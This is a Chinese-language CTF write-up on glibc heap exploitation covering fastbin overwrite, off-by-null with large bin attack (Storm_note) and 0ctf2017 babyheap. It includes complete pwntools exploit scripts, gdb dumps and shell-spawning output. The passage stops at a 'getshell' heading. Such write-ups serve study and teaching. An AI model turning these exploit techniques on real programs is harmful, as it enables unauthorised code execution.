0x6026d0:0x00000000000000000x0000000000000000
0x6026e0:0x00000000000000000x0000000000000000

我们释放两次chunk之后的情况:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
pwndbg> c
Continuing.
2 1
>
pwndbg> c
Continuing.
2 0
>
pwndbg> x/20gx 0x602660-16
0x602650:0x00000000000000000x0000000000000000
0x602660:0x00000000000000000x0000000000000021
0x602670:0x00000000006026900x0000000000000000
0x602680:0x00000000000000000x0000000000000021
0x602690:0x00000000000000000x0000000000000000
0x6026a0:0x00000000000000000x0000000000020961
0x6026b0:0x00000000000000000x0000000000000000
0x6026c0:0x00000000000000000x0000000000000000
0x6026d0:0x00000000000000000x0000000000000000
0x6026e0:0x00000000000000000x0000000000000000

因为fastbin是单链表,所以我们free两次会得到一个单链表:

1
Fastbin[1]->0x602670->0x602690

当我们再次申请相同大小的chunk的时候,作合适的写入操作就可以覆盖下一个chunk的内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pwndbg> c
Continuing.
1 2
24 cccccccccccccccccccccccccccccccc
>
pwndbg> x/20gx 0x602660-16
0x602650:0x00000000000000000x0000000000000000
0x602660:0x00000000000000000x0000000000000021
0x602670:0x63636363636363630x6363636363636363
0x602680:0x63636363636363630x6363636363636363
0x602690:0x00000000000000000x0000000000000000
0x6026a0:0x00000000000000000x0000000000020961
0x6026b0:0x00000000000000000x0000000000000000
0x6026c0:0x00000000000000000x0000000000000000
0x6026d0:0x00000000000000000x0000000000000000
0x6026e0:0x00000000000000000x0000000000000000

我们需要注意的第一点是,我们free的顺序不能乱,一旦乱了,就会导致无法覆盖到理想的chunk处,要深入理解fastbin的LIFO机制,也就是想象成栈的机制,最好的理解方式就是自己多试几次,我们需要注意的第二点是我们不能一直乱覆盖到下一个chunk的size大小,因为size代表这个chunk的大小,要是乱覆盖用‘cccccccc’替代size内容那这个chunk的大小就变成了0x6363636363636363,就不是fastbin的大小了,也就无法达到目的了,所以我们必须选择好偏移的位置,将size大小正确写入下一个chunk,然后将chunk的fd指向我们的free函数地址,然后将’sh’写入free函数的地方。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *

p = process('./Overflow_Free_Chunk')

def malloc(i,s):
p.recvuntil('> ')
p.send('1 %d\n24 %s'%(i,s)+'\n')

def free(x):
p.recvuntil('> ')
p.send('2 %d'%x+'\n')

malloc(0,'aaaaaaaa')
malloc(1,'bbbbbbbb')
free(1)
free(0)
malloc(2,'a'*24 + p64(0x21) + p64(0x601018)) # free_hook
malloc(3,'sh') # write 'sh' in ptr[3]
malloc(4, p64(0x4007d7)) # write in sh() address
p.recvuntil('> ')
p.sendline('2 3') # free(3) ==> system('sh')
p.interactive()

Off-By-One

off-by-one是堆溢出中比较有意思的一类漏洞,漏洞主要原理是 malloc 本来分配了0x20的内存,结果可以写 0x21 字节的数据,多写了一个,影响了下一个内存块的头部信息,进而造成了被利用的可能,这里就以西湖论剑的一道题目来讲解这个漏洞

题目链接

http://file.eonew.cn/ctf/pwn/Storm_note

解题思路

首先检测一下程序检测,该开的都开了

1
2
3
4
5
6
7
Thunder_J@Thunder_J-virtual-machine:~/桌面$ checksec Storm_note 
[*] '/home/Thunder_J/\xe6\xa1\x8c\xe9\x9d\xa2/Storm_note'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

首先用IDA观察一下程序,有delete_note,backdoor,alloc_note,edit_note四个功能

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
 while ( 1 )
{
while ( 1 )
{
menu();
_isoc99_scanf("%d", &v3);
if ( v3 != 3 )
break;
delete_note();
}
if ( v3 > 3 )
{
if ( v3 == 4 )
exit(0);
if ( v3 == 666 )
backdoor();
LABEL_15:
puts("Invalid choice");
}
else if ( v3 == 1 )
{
alloc_note();
}
else
{
if ( v3 != 2 )
goto LABEL_15;
edit_note();
}
}

init_proc

程序执行之前有这个初始化函数,可以看到关闭了 fastbin 机制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
ssize_t init_proc()
{
ssize_t result; // rax
int fd; // [rsp+Ch] [rbp-4h]

setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
if ( !mallopt(1, 0) )
exit(-1);
if ( mmap((void *)0xABCD0000LL, 0x1000uLL, 3, 34, -1, 0LL) != (void *)2882338816LL )
exit(-1);
fd = open("/dev/urandom", 0);
if ( fd < 0 )
exit(-1);
result = read(fd, (void *)0xABCD0100LL, 0x30uLL);
if ( result != 48 )
exit(-1);
return result;
}

alloc_note

可以看到输入size之后,程序会calloc一块内存(calloc类比malloc),存放note,而note_size则存放在note后面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
for ( i = 0; i <= 15 && note[i]; ++i )
;
if ( i == 16 )
{
puts("full!");
}
else
{
puts("size ?");
_isoc99_scanf("%d", &v1);
if ( v1 > 0 && v1 <= 0xFFFFF )
{
note[i] = calloc(v1, 1uLL);
note_size[i] = v1;
puts("Done");
}
else
{
puts("Invalid size");
}
}

note存放信息如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
bss:0000000000202060 ?? ?? ?? ?? ?? ??+note_size dd 10h dup(?)       ; DATA XREF: alloc_note+E1↑o
.bss:0000000000202060 ?? ?? ?? ?? ?? ??+ ; edit_note+8E↑o
.bss:0000000000202060 ?? ?? ?? ?? ?? ??+ ; delete_note+BE↑o
.bss:00000000002020A0 public note
.bss:00000000002020A0 ; _QWORD note[16]
.bss:00000000002020A0 ?? ?? ?? ?? ?? ??+note dq 10h dup(?) ; DATA XREF: alloc_note+2D↑o
.bss:00000000002020A0 ?? ?? ?? ?? ?? ??+ ; alloc_note+C6↑o
.bss:00000000002020A0 ?? ?? ?? ?? ?? ??+ ; edit_note+57↑o
.bss:00000000002020A0 ?? ?? ?? ?? ?? ??+ ; edit_note+A8↑o
.bss:00000000002020A0 ?? ?? ?? ?? ?? ??+ ; edit_note+D0↑o
.bss:00000000002020A0 ?? ?? ?? ?? ?? ??+ ; delete_note+57↑o
.bss:00000000002020A0 ?? ?? ?? ?? ?? ??+ ; delete_note+82↑o
.bss:00000000002020A0 ?? ?? ?? ?? ?? ??+ ; delete_note+A2↑o
.bss:00000000002020A0 ?? ?? ?? ?? ?? ??+_bss ends

edit_note

edit 从 note 和 note_size 中根据索引取出需要编辑的堆块的指针和 size,使用 read 函数来进行输入。之后将末尾的值赋值为 0,这里存在 off by null 漏洞。

1
2
3
4
5
6
7
8
9
10
11
12
13
puts("Index ?");
_isoc99_scanf("%d", &v1);
if ( v1 >= 0 && v1 <= 15 && note[v1] )
{
puts("Content: ");
v2 = read(0, (void *)note[v1], (signed int)note_size[v1]);
*(_BYTE *)(note[v1] + v2) = 0; // off-by-one
puts("Done");
}
else
{
puts("Invalid index");
}

delete_note

可以看到输入 index 之后程序 free 掉 note 和 note_size 之后做了清零操作,不存在UAF漏洞

1
2
3
4
5
6
7
8
9
10
11
12
puts("Index ?");
_isoc99_scanf("%d", &v1);
if ( v1 >= 0 && v1 <= 15 && note[v1] )
{
free((void *)note[v1]);
note[v1] = 0LL;
note_size[v1] = 0;
}
else
{
puts("Invalid index");
}

backdoor

可以看到system(“/bin/sh”);函数,函数首先读 0x30 长度,然后输入的内容和 mmap 段映射的内容相同即 getshell

1
2
3
4
5
6
v1 = __readfsqword(0x28u);
puts("If you can open the lock, I will let you in");
read(0, &buf, 0x30uLL);
if ( !memcmp(&buf, (const void *)0xABCD0100LL, 0x30uLL) )
system("/bin/sh");
exit(0);

思路

  • Chunk Extend 使得chunk重叠
  • 控制chunk
  • 控制unsort bin和large bin
  • overlapping 伪造 fake_chunk
  • 触发后门

这里首先我们连续申请7块chunk,这里是三个一组,两组 chunk 中的中间一个大的 chunk 就是我们利用的目标,用它来进行 overlapping 并把它放进 largebin 中

1
2
3
4
5
6
7
8
9
alloc_note(0x18)  # 0
alloc_note(0x508) # 1
alloc_note(0x18) # 2

alloc_note(0x18) # 3
alloc_note(0x508) # 4
alloc_note(0x18) # 5

alloc_note(0x18) # 6

布局如下图

在这里插入图片描述

然后我们伪造 prev_size

1
2
# 改pre_size为0x500
edit_note(1, 'a'*0x4f0 + p64(0x500))

调试可以看到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
gdb-peda$ x/30gx 0x55dc2ede84f0
0x55dc2ede84f0:0x61616161616161610x6161616161616161
0x55dc2ede8500:0x61616161616161610x6161616161616161
0x55dc2ede8510:0x61616161616161610x6161616161616161
0x55dc2ede8520:0x00000000000005000x0000000000000000 => fake prev_size
0x55dc2ede8530:0x00000000000000000x0000000000000021
0x55dc2ede8540:0x00000000000000000x0000000000000000
0x55dc2ede8550:0x00000000000000000x0000000000000021
0x55dc2ede8560:0x00000000000000000x0000000000000000
0x55dc2ede8570:0x00000000000000000x0000000000000511
0x55dc2ede8580:0x00000000000000000x0000000000000000
0x55dc2ede8590:0x00000000000000000x0000000000000000
0x55dc2ede85a0:0x00000000000000000x0000000000000000
0x55dc2ede85b0:0x00000000000000000x0000000000000000
0x55dc2ede85c0:0x00000000000000000x0000000000000000
0x55dc2ede85d0:0x00000000000000000x0000000000000000

释放掉chunk 1至unsort bin然后创建chunk 0来触发off by null,这里选择 size 为 0x18 的目的是为了能够填充到下一个 chunk 的 prev_size,这里就能通过溢出 00 到下一个 chunk 的 size 字段,使之低字节覆盖为 0。

1
2
3
delete_note(1)
# off by null 将1号块的size字段覆盖为0x500
edit_note(0, 'b'*(0x18))

调试可以看到chunk1已经被放进了 unsorted bin

1
2
3
4
5
6
7
8
9
10
11
gdb-peda$ x/20gx 0x562071ea0020-32
0x562071ea0000:0x00000000000000000x0000000000000021
0x562071ea0010:0x62626262626262620x6262626262626262
0x562071ea0020:0x62626262626262620x0000000000000500
0x562071ea0030:0x00007fe9f2875b780x00007fe9f2875b78
0x562071ea0040:0x00000000000000000x0000000000000000
0x562071ea0050:0x61616161616161610x6161616161616161
0x562071ea0060:0x61616161616161610x6161616161616161
0x562071ea0070:0x61616161616161610x6161616161616161
0x562071ea0080:0x61616161616161610x6161616161616161
0x562071ea0090:0x61616161616161610x6161616161616161

接下来我们申请两块chunk,因为关闭了 fastbin 机制,所以会从unsorted bin上,然后delete掉它们,那么就会触发这两个堆块合并,从而覆盖到刚刚的 0x4d8 这个块

1
2
3
4
alloc_note(0x18)
alloc_note(0x4d8)
delete_note(1)
delete_note(2) # unlink进行前向extend

调试如下,index为7的指向的地方和unsortedbin里面的chunk已经重叠了

1
2
3
4
5
6
7
8
9
10
11
gdb-peda$ x/20gx 0x5564795ff000
0x5564795ff000:0x00000000000000000x0000000000000021
0x5564795ff010:0x62626262626262620x6262626262626262
0x5564795ff020:0x62626262626262620x0000000000000531
0x5564795ff030:0x00007f8305be4b780x00007f8305be4b78
0x5564795ff040:0x00000000000000000x0000000000000000
0x5564795ff050:0x00000000000000000x0000000000000000
0x5564795ff060:0x00000000000000000x0000000000000000
0x5564795ff070:0x00000000000000000x0000000000000000
0x5564795ff080:0x00000000000000000x0000000000000000
0x5564795ff090:0x00000000000000000x0000000000000000

alloc_note(0x30)之后2号块与7号块交叠,这里 add(0x30) 的 size 为 0x30 的原因是只需要控制 chunk7 的 fd 和 bk 指针

1
2
alloc_note(0x30)  # 1
alloc_note(0x4e8) # 2

接下来的原理同上

1
2
3
4
5
6
7
8
edit_note(4, 'a'*(0x4f0) + p64(0x500))
delete_note(4)
edit_note(3, 'a'*(0x18))
alloc_note(0x18) # 4
alloc_note(0x4d8) # 8
delete_note(4)
delete_note(5)
alloc_note(0x40) # 4

接下来需要我们控制 unsort bin 和 large bin

1
2
3
delete_note(2)
alloc_note(0x4e8) # 2
delete_note(2)

由于unsorted bin是FIFO(队列模式),所以可以先删除2号块,再申请他,由于先检查队列尾部,也就是原先4号块的chunk部分,发现chunk大小不够大,然后将其放入large bin中。该chunk由8号块控制。然后,继续删除2号块,那么此时unsorted bin里还剩下2号块,该部分通过7号块来控制。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
gdb-peda$ x/20gx 0x55609685a000
0x55609685a000:0x00000000000000000x0000000000000021
0x55609685a010:0x62626262626262620x6262626262626262
0x55609685a020:0x62626262626262620x0000000000000041
0x55609685a030:0x00000000000000000x0000000000000000
0x55609685a040:0x00000000000000000x0000000000000000
0x55609685a050:0x00000000000000000x0000000000000000
0x55609685a060:0x00000000000000000x00000000000004f1 => chunk 2
0x55609685a070:0x00007fec67d73b780x00007fec67d73b78 => unsorted bin
0x55609685a080:0x00000000000000000x0000000000000000
0x55609685a090:0x00000000000000000x0000000000000000
gdb-peda$ x/20gx 0x55609685a570
0x55609685a570:0x61616161616161610x0000000000000051
0x55609685a580:0x00000000000000000x0000000000000000
0x55609685a590:0x00000000000000000x0000000000000000
0x55609685a5a0:0x00000000000000000x0000000000000000
0x55609685a5b0:0x00000000000000000x0000000000000000
0x55609685a5c0:0x00000000000000000x00000000000004e1 => chunk 5
0x55609685a5d0:0x00007fec67d73f980x00007fec67d73f98
0x55609685a5e0:0x000055609685a5c00x000055609685a5c0
0x55609685a5f0:0x00000000000000000x0000000000000000
0x55609685a600:0x00000000000000000x0000000000000000

接下来我们伪造 fake_chunk,通过 chunk7 控制 chunk2

1
2
3
4
5
6
content_addr = 0xabcd0100
fake_chunk = content_addr - 0x20

payload = p64(0)*2 + p64(0) + p64(0x4f1) # size
payload += p64(0) + p64(fake_chunk) # bk
edit_note(7,payload)

同样的通过 edit(8) 来控制 chunk5

1
2
3
4
5
payload2 = p64(0)*4 + p64(0) + p64(0x4e1)    # size 
payload2 += p64(0) + p64(fake_chunk+8)
payload2 += p64(0) + p64(fake_chunk-0x18-5)

edit_note(8,payload2)

接下来我们需要触发后门

1
2
3
4
5
edit_note(2, p64(0) * 8)
sh.sendline('666')
sh.sendline('\x00'*0x30)

sh.interactive()

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
from pwn import *

r = process('./Storm_note')
elf = ELF('./Storm_note')
context.log_level = "debug"

if args.G:
gdb.attach(r)


def alloc_note(size):
r.sendline('1')
r.recvuntil('?')
r.sendline(str(size))
r.recvuntil('Choice')

def edit_note(idx, mes):
r.sendline('2')
r.recvuntil('?')
r.sendline(str(idx))
r.recvuntil('Content')
r.send(mes)
r.recvuntil('Choice')

def delete_note(idx):
r.sendline('3')
r.recvuntil('?')
r.sendline(str(idx))
r.recvuntil('Choice')

alloc_note(0x18) # 0
alloc_note(0x508) # 1
alloc_note(0x18) # 2

alloc_note(0x18) # 3
alloc_note(0x508) # 4
alloc_note(0x18) # 5

alloc_note(0x18) # 6

edit_note(1, 'a'*0x4f0 + p64(0x500))
delete_note(1)
edit_note(0, 'b'*(0x18))

alloc_note(0x18)
alloc_note(0x4d8)

delete_note(1)
delete_note(2)

alloc_note(0x30)
alloc_note(0x4e8)

# 原理同上
edit_note(4, 'a'*(0x4f0) + p64(0x500))
delete_note(4)
edit_note(3, 'a'*(0x18))
alloc_note(0x18) # 4
alloc_note(0x4d8) # 8
delete_note(4)
delete_note(5)
alloc_note(0x40) # 4

# 将2号块和4号块分别加入unsort bin和large bin
delete_note(2)
alloc_note(0x4e8) # 2
delete_note(2)

content_addr = 0xabcd0100
fake_chunk = content_addr - 0x20

payload = p64(0)*2 + p64(0) + p64(0x4f1) # size
payload += p64(0) + p64(fake_chunk) # bk
edit_note(7,payload)


payload2 = p64(0)*4 + p64(0) + p64(0x4e1) # size
payload2 += p64(0) + p64(fake_chunk+8)
payload2 += p64(0) + p64(fake_chunk-0x18-5)

edit_note(8,payload2)

# 0xabcd00f0
alloc_note(0x48)

edit_note(2, p64(0) * 8)
r.sendline('666')
r.sendline('\x00'*0x30)

r.interactive()

运行结果如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Thunder_J@Thunder_J-virtual-machine:~/桌面$ python exp.py 
[+] Starting local process './Storm_note': pid 16030
[*] '/home/Thunder_J/\xe6\xa1\x8c\xe9\x9d\xa2/Storm_note'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] Switching to interactive mode
: If you can open the lock, I will let you in
$ ls
exp.py HITCON-Training Storm_note test.py vmware-tools-distrib
$ whoami
Thunder_J
$ exit
[*] Got EOF while reading in interactive
$ exit
[*] Process './Storm_note' stopped with exit code 0 (pid 16030)
[*] Got EOF while sending in interactive

参考链接

1
2
[+] http://blog.eonew.cn/archives/709
[+] https://blog.csdn.net/weixin_40850881/article/details/80293143

Some Example

0ctf2017 babyheap

这里从0ctf2017-babyheap这一道pwn题目入手,讲解pwn堆中的一些利用手法

题目链接

分析程序

首先检查程序保护,所有的保护措施都是开启的,这意味着我们想要改写程序流程考虑从malloc_hookfree_hook入手

1
2
3
4
5
6
[*] '/home/thunder/Desktop/codes/ctf/pwn/heap/0ctf_babyheap/0ctfbabyheap'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

sed -i s/alarm/isnan/g ./0ctfbabyheap命令除去alarm函数,初步运行程序,有以下几个功能:

  1. 申请chunk
  2. 填充chunk
  3. 销毁chunk
  4. 输出chunk
  5. 退出程序
1
2
3
4
5
6
7
===== Baby Heap in 2017 =====
1. Allocate
2. Fill
3. Free
4. Dump
5. Exit
Command:

漏洞点存在于申请chunk和填充chunk部分,我们着重对这两个地方进行分析

Alloc chunk

IDA中反汇编如下,这里使用了calloc函数,相当于malloc + memset

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
void __fastcall alloc(__int64 heap)
{
int index; // [rsp+10h] [rbp-10h]
int v2; // [rsp+14h] [rbp-Ch]
void *v3; // [rsp+18h] [rbp-8h]

for ( index = 0; index <= 15; ++index )
{
if ( !*(_DWORD *)(24LL * index + heap) )
{
printf("Size: ");
v2 = input_();
if ( v2 > 0 )
{
if ( v2 > 4096 )
v2 = 4096;
v3 = calloc(v2, 1uLL);
if ( !v3 )
exit(-1);
*(_DWORD *)(24LL * index + heap) = 1;
*(_QWORD *)(heap + 24LL * index + 8) = v2;
*(_QWORD *)(heap + 24LL * index + 16) = v3;
printf("Allocate Index %d\n", (unsigned int)index);
}
return;
}
}
}

反汇编中我们可以分析heap结构体大致如下

1
2
3
4
5
6
struct heap
{
signed int flag;    //标记是否被分配
signed int size;    //请求申请的大小
void* chunk_m;     //chunk的mem值
}

填充chunk

IDA反汇编如下,需要注意的是,这里并没有对填充的大小进行限制,也就意味着我们可以堆溢出控制下面的chunk

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
__int64 __fastcall fill(__int64 a1)
{
__int64 result; // rax
int v2; // [rsp+18h] [rbp-8h]
int v3; // [rsp+1Ch] [rbp-4h]

printf("Index: ");
result = input_();
v2 = result;
if ( (int)result >= 0 && (int)result <= 15 )
{
result = *(unsigned int *)(24LL * (int)result + a1);
if ( (_DWORD)result == 1 )
{
printf("Size: ");
result = input_();
v3 = result;
if ( (int)result > 0 )
{
printf("Content: ");
result = sub_11B2(*(_QWORD *)(24LL * v2 + a1 + 16), v3);
}
}
}
return result;
}

Exploit

这里先放exp,然后逐步进行调试讲解,我们的利用可以分为两步,第一步是泄露libc基地址,第二步是getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
from pwn import *

r = process('./0ctfbabyheap')
elf =ELF('./0ctfbabyheap')

context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']

if args.G:
gdb.attach(r)

def malloc(size):
r.recvuntil('Command: ')
r.sendline('1')
r.recvuntil('Size: ')
r.sendline(str(size))

def free(idx):
r.recvuntil('Command: ')
r.sendline('3')
r.recvuntil('Index: ')
r.sendline(str(idx))

def fill(idx,content):
r.recvuntil('Command: ')
r.sendline('2')
r.recvuntil('Index: ')
r.sendline(str(idx))
r.recvuntil('Size: ')
r.sendline(str(len(content)))
r.recvuntil('Content: ')
r.send(content)

def dump(idx):
r.recvuntil('Command: ')
r.sendline('4')
r.recvuntil('Index: ')
r.sendline(str(idx))
r.recvline()
return r.recvline()

malloc(0x10) # fast chunk 0
malloc(0x10) # fast chunk 1
malloc(0x10) # fast chunk 2
malloc(0x10) # fast chunk 3
malloc(0x80) # small chunk

free(1) # fastbin <- chunk1
free(2) # fastbin <- chunk2 <- chunk1

fill(0,p64(0)*3+p64(0x21)+p64(0)*3+p64(0x21)+p8(0x80))

fill(3,p64(0)*3+p64(0x21))

malloc(0x10)
malloc(0x10)

fill(3,p64(0)*3+p64(0x91))
malloc(0x80)
free(4)

libc_base = u64(dump(2)[:8].strip().ljust(8, "\x00"))-0x58-0x399b00
success("libc_base: "+hex(libc_base))

fake_chunk = libc_base + 0x399acd
success("fake chunk:"+hex(fake_chunk))
malloc(0x60)
free(4)

fill(2,p64(fake_chunk)) # chunk[2]->fd = fake chunk

malloc(0x60)
malloc(0x60) # malloc fake chunk

# construct fake chunk
payload = p8(0)*3
payload += p64(0)*2
payload += p64(libc_base+0x3f35a) # one_gadgets
fill(6, payload)

# trigger
malloc(255)

r.interactive()

泄露libc地址

这里我们是通过small chunk的机制泄露libc地址,当small chunk被释放之后,会进入unsorted bin中,它的fd和bk指针会指向同一个地址(unsorted bin链表的头部),通过这个地址可以获得main_arena的地址,然后计算libc基地址,首先我们创建如下几个chunk

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
code:
malloc(0x10) # fast chunk 0
malloc(0x10) # fast chunk 1
malloc(0x10) # fast chunk 2
malloc(0x10) # fast chunk 3
malloc(0x80) # small chunk
debugger:
pwndbg> x/20gx 0x55c448092000
0x55c448092000:0x00000000000000000x0000000000000021
0x55c448092010:0x00000000000000000x0000000000000000
0x55c448092020:0x00000000000000000x0000000000000021
0x55c448092030:0x00000000000000000x0000000000000000
0x55c448092040:0x00000000000000000x0000000000000021
0x55c448092050:0x00000000000000000x0000000000000000
0x55c448092060:0x00000000000000000x0000000000000021
0x55c448092070:0x00000000000000000x0000000000000000
0x55c448092080:0x00000000000000000x0000000000000091
0x55c448092090:0x00000000000000000x0000000000000000
pwndbg> x/20gx 0x361e77c925a0 => heap struct
0x361e77c925a0:0x00000000000000010x0000000000000010
0x361e77c925b0:0x000055c4480920100x0000000000000001
0x361e77c925c0:0x00000000000000100x000055c448092030
0x361e77c925d0:0x00000000000000010x0000000000000010
0x361e77c925e0:0x000055c4480920500x0000000000000001
0x361e77c925f0:0x00000000000000100x000055c448092070
0x361e77c92600:0x00000000000000010x0000000000000080
0x361e77c92610:0x000055c4480920900x0000000000000000
0x361e77c92620:0x00000000000000000x0000000000000000
0x361e77c92630:0x00000000000000000x0000000000000000

释放两个fast chunk,将第二个指向第一个

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
code:
free(1)
free(2)
debugger:
pwndbg> x/20gx 0x55c448092000
0x55c448092000:0x00000000000000000x0000000000000021 => 0
0x55c448092010:0x00000000000000000x0000000000000000
0x55c448092020:0x00000000000000000x0000000000000021 => 1 free
0x55c448092030:0x00000000000000000x0000000000000000
0x55c448092040:0x00000000000000000x0000000000000021 => 2 free
0x55c448092050:0x000055c4480920200x0000000000000000
0x55c448092060:0x00000000000000000x0000000000000021 => 3
0x55c448092070:0x00000000000000000x0000000000000000
0x55c448092080:0x00000000000000000x0000000000000091 => 4
0x55c448092090:0x00000000000000000x0000000000000000
pwndbg> bins
fastbins
0x20: 0x55c448092040 —▸ 0x55c448092020 ◂— 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg> x/20gx 0x361e77c925a0
0x361e77c925a0:0x00000000000000010x0000000000000010
0x361e77c925b0:0x000055c4480920100x0000000000000000
0x361e77c925c0:0x00000000000000000x0000000000000000
0x361e77c925d0:0x00000000000000000x0000000000000000
0x361e77c925e0:0x00000000000000000x0000000000000001
0x361e77c925f0:0x00000000000000100x000055c448092070
0x361e77c92600:0x00000000000000010x0000000000000080
0x361e77c92610:0x000055c4480920900x0000000000000000
0x361e77c92620:0x00000000000000000x0000000000000000
0x361e77c92630:0x00000000000000000x0000000000000000

这里我们通过 fill 函数修改第0个chunk之后的内容,因为没有限制,所以我们可以修改到2处的指针,让其指向chunk4,因为chunk4是small bin,被链入到了fast bin中会有size的检查,所以我们这里需要将chunk4处的size改为0x20过size的检测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
code:
fill(0,p64(0)*3+p64(0x21)+p64(0)*3+p64(0x21)+p8(0x80))
debugger:
pwndbg> x/20gx 0x55c448092000
0x55c448092000:0x00000000000000000x0000000000000021
0x55c448092010:0x00000000000000000x0000000000000000
0x55c448092020:0x00000000000000000x0000000000000021 free
0x55c448092030:0x00000000000000000x0000000000000000
0x55c448092040:0x00000000000000000x0000000000000021 free
0x55c448092050:0x000055c4480920800x0000000000000000
0x55c448092060:0x00000000000000000x0000000000000021
0x55c448092070:0x00000000000000000x0000000000000000
0x55c448092080:0x00000000000000000x0000000000000091
0x55c448092090:0x00000000000000000x0000000000000000
code:
fill(3,p64(0)*3+p64(0x21))
debugger:
pwndbg> x/20gx 0x55c448092000
0x55c448092000:0x00000000000000000x0000000000000021
0x55c448092010:0x00000000000000000x0000000000000000
0x55c448092020:0x00000000000000000x0000000000000021
0x55c448092030:0x00000000000000000x0000000000000000
0x55c448092040:0x00000000000000000x0000000000000021
0x55c448092050:0x000055c4480920800x0000000000000000
0x55c448092060:0x00000000000000000x0000000000000021
0x55c448092070:0x00000000000000000x0000000000000000
0x55c448092080:0x00000000000000000x0000000000000021
0x55c448092090:0x00000000000000000x0000000000000000
pwndbg> bins
fastbins
0x20: 0x55c448092040 —▸ 0x55c448092080 ◂— 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty

然后我们申请这两个地方的fastbin就可以让index 2的堆块的地址和index 4堆块的地址一样,等index 4被free后,这里就是fd 字段,之后便能通过dump index 2来泄漏index 4的fd内容,括号中括起来的即是heap结构体中指向的同一地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
code:
malloc(0x10)
malloc(0x10)
debugger:
pwndbg> x/20gx 0x361e77c925a0
0x361e77c925a0:0x00000000000000010x0000000000000010
0x361e77c925b0:0x000055c4480920100x0000000000000001
0x361e77c925c0:0x00000000000000100x000055c448092050
0x361e77c925d0:0x00000000000000010x0000000000000010
0x361e77c925e0:(0x000055c448092090)0x0000000000000001
0x361e77c925f0:0x00000000000000100x000055c448092070
0x361e77c92600:0x00000000000000010x0000000000000080
0x361e77c92610:(0x000055c448092090)0x0000000000000000
0x361e77c92620:0x00000000000000000x0000000000000000
0x361e77c92630:0x00000000000000000x0000000000000000

我们再将其改为原来的大小,申请释放即可泄露出fd指向的地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
code:
fill(3,p64(0)*3+p64(0x91))
malloc(0x80)
free(4)
debugger:
pwndbg> x/20gx 0x55c448092000
0x55c448092000:0x00000000000000000x0000000000000021
0x55c448092010:0x00000000000000000x0000000000000000
0x55c448092020:0x00000000000000000x0000000000000021
0x55c448092030:0x00000000000000000x0000000000000000
0x55c448092040:0x00000000000000000x0000000000000021
0x55c448092050:0x00000000000000000x0000000000000000
0x55c448092060:0x00000000000000000x0000000000000021
0x55c448092070:0x00000000000000000x0000000000000000
0x55c448092080:0x00000000000000000x0000000000000091
0x55c448092090:0x00007f9c3ed6db580x00007f9c3ed6db58
pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x55c448092080 —▸ 0x7f9c3ed6db58 (main_arena+88) ◂— 0x55c448092080
smallbins
empty
largebins
empty

这个地址是main_arena+88,我们将其减去0x58得到main_arena的地址,然后根据自己系统libc版本减去相应的偏移获得libc的基地址

1
2
3
4
5
6
7
8
9
10
code:
libc_base = u64(dump(2)[:8].strip().ljust(8, "\x00"))-0x58-0x399b00
success("libc_base: "+hex(libc_base))
debugger:
pwndbg> vmmap
[...]
0x7f9c3e9d4000 0x7f9c3eb69000 r-xp 195000 0 /usr/lib/x86_64-linux-gnu/libc-2.24.so
[...]
pwndbg> p/x 0x7f9c3ed6db00-0x7f9c3e9d4000
$2 = 0x399b00

getshell

